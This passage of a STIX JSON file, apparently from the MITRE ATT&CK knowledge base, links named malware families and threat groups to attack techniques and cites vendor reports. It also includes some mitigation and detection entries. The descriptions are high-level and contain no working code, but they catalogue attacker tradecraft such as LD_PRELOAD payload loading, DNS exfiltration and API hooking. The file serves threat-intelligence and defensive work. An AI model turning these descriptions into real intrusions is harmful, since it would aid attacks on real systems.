$(dirname \"$currentDir\"))\"</code> and <code>$(dirname \"$(pwd -P)\")</code> to construct installation paths.(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36855997-d730-48c6-bd43-7896c741cd6e","type":"relationship","created":"2021-04-20T19:17:57.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-20T19:17:57.991Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) has used byte randomization to obscure its behavior.(Citation: Unit42 BendyBear Feb 2021)","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f9fe6d5-79ba-44ca-bf19-c980e5c2fc11","type":"relationship","created":"2020-12-22T17:48:21.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-22T17:48:21.017Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has configured payloads to load via LD_PRELOAD.(Citation: Crowdstrike GTR2020 Mar 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38affc70-544f-4211-be66-0d09f7882edb","type":"relationship","created":"2020-08-07T20:02:10.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."},{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."}],"modified":"2020-08-10T13:14:05.252Z","description":"[Dacls](https://attack.mitre.org/software/S0497) can download its payload from a C2 server.(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5599906d-5be3-420c-9f84-e762d85c2511","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"}],"modified":"2020-03-16T16:46:28.695Z","description":"[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture audio from a victim machine.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72998c1e-2455-49f4-bb03-5ffae89433b5","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--900cbabe-4e55-434b-92ae-f458be38852a","type":"relationship","created":"2020-11-10T19:09:21.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-22T21:07:41.680Z","description":"[Javali](https://attack.mitre.org/software/S0528) has used the MSI installer to download and execute malicious payloads.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9375a8c-4574-40a9-a3c2-a9fe036928a6","type":"relationship","created":"2021-09-28T19:47:10.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). 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Retrieved July 16, 2020."}],"modified":"2020-10-21T17:38:02.728Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has been configured with several servers available for alternate C2 communications.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2562bd3-5f78-4bcb-a37b-cae2b415c629","type":"relationship","created":"2020-05-13T19:39:41.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-14T14:30:09.879Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) used PowerShell implants on target machines.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b4f48d3-eb5d-4d7e-9f0b-86f68951207d","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.finfisher.com/FinFisher/index.html","description":"FinFisher. (n.d.). Retrieved December 20, 2017.","source_name":"FinFisher Citation"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2020-11-10T18:29:30.570Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) hooks processes by modifying IAT pointers to CreateWindowEx.(Citation: FinFisher Citation)(Citation: Elastic Process Injection July 2017)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--727520dd-a7ee-4665-a610-201f0d5e2f0e","type":"relationship","created":"2021-03-03T21:55:40.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Anti Spoofing","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."},{"source_name":"ACSC Email Spoofing","url":"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."}],"modified":"2021-04-15T03:40:20.623Z","description":"Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). 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This should be done extensively on all resources in order to establish a baseline, followed up on with periodic audits of new or updated resources. Suspicious accounts/credentials should be investigated and removed.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e0fdaa6-7a6f-4bd6-a1ef-3ee85d1d89b2","type":"relationship","created":"2019-06-07T14:53:09.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. 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(AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.443Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has created new social media accounts for targeting efforts.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8705660-10d1-4eca-80c6-f2884cdecb36","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.584Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) enumerates registry keys with the command <code>regkeyenum</code> and obtains information for the Registry key <code>HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code>.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ba660d12-81f6-49fe-baf2-fda6d5bda761","type":"relationship","created":"2020-01-24T15:11:02.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-02-08T16:39:09.084Z","description":"Avoid PowerShell profiles if not needed. Use the -No Profile flag with when executing PowerShell scripts remotely to prevent local profiles and scripts from being executed.","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fe424be-6873-4b25-a87e-88b2de005d7f","type":"relationship","created":"2021-03-12T18:46:47.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.334Z","description":"[Sibot](https://attack.mitre.org/software/S0589) can download and execute a payload onto a compromised system.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1574a1bc-6b70-4179-b2e5-6f4233e7f5ff","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for unexpected processes interacting with authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2a42d95-fc64-4e6f-95d9-7b24334bccd4","type":"relationship","created":"2019-06-21T15:19:09.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-02-17T15:38:54.805Z","description":"Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66b026b6-af1e-47a6-9c3d-b853e2130b68","type":"relationship","created":"2019-01-29T19:55:48.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2019-07-26T16:10:43.108Z","description":"[Epic](https://attack.mitre.org/software/S0091) collects the OS version, hardware information, computer name, available system memory status, disk space information, and system and user language settings.(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8e03a9bc-a701-4797-8f0e-0eb17f32ddac","type":"relationship","created":"2021-05-03T18:58:02.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Certfa Charming Kitten January 2021","url":"https://blog.certfa.com/posts/charming-kitten-christmas-gift/","description":"Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021."},{"source_name":"ClearSky Kittens Back 3 August 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."},{"source_name":"Proofpoint TA453 March 2021","url":"https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential","description":"Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021."},{"source_name":"Proofpoint TA453 July2021","url":"https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453","description":"Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021."}],"modified":"2021-08-18T19:43:00.229Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used SMS and email messages with links designed to steal credentials.(Citation: Certfa Charming Kitten January 2021)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ccf856f-abd9-4ef6-b17f-803ecb20435f","type":"relationship","created":"2020-11-20T20:11:15.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}],"modified":"2020-11-20T20:11:15.194Z","description":"[Machete](https://attack.mitre.org/software/S0409) has used base64 encoding.(Citation: Securelist Machete Aug 2014)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3abe734c-7fd2-4da6-9b0a-420f9187165c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). 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(n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}],"modified":"2022-03-15T19:56:31.067Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has created email accounts for phishing operations.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4647d052-512b-41cf-a8db-cb33c49edc90","type":"relationship","created":"2021-01-07T20:35:35.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye NETWIRE March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html","description":"Maniath, S. and Kadam P. (2019, March 19). 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Retrieved June 29, 2021."}],"modified":"2021-07-02T15:00:02.347Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use proxy tools including boost_proxy_client for reverse proxy functionality.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e643eb2e-c309-48dc-b105-ffedb4a61247","type":"relationship","created":"2020-02-21T17:07:54.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-24T20:35:42.598Z","description":"Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e496b3d5-3608-49e6-9567-86b370abeeb3","type":"relationship","created":"2021-09-20T21:26:58.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}],"modified":"2021-09-20T21:26:58.219Z","description":"[Dridex](https://attack.mitre.org/software/S0384) can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.(Citation: Checkpoint Dridex Jan 2021)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46fa464b-20e0-4c77-9b75-580f9f236c43","type":"relationship","created":"2020-03-17T00:11:31.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus Mar 2019","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","description":"Dumont, R. (2019, March 20). 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Retrieved April 1, 2019."}],"modified":"2020-03-17T03:02:39.724Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s backdoor can exfiltrate data by encoding it in the subdomain field of DNS packets.(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--77559f07-2f75-4eab-962f-3705b9ad704b","type":"relationship","created":"2020-10-01T01:01:00.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-10-01T01:01:00.257Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8513484-2fa3-46f1-8c42-343992b4c9ad","type":"relationship","created":"2021-01-05T22:07:13.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/","description":"MSRC. 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(2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2022-03-25T15:47:13.925Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has the ability to list open windows on the compromised host.(Citation: TrendMicro BlackTech June 2017)(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--406257ac-ff42-4e15-b72e-50202e38b675","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Calisto July 2018","description":"Pantig, J. (2018, July 30). OSX.Calisto. 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Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy)","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Audit Policy","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective 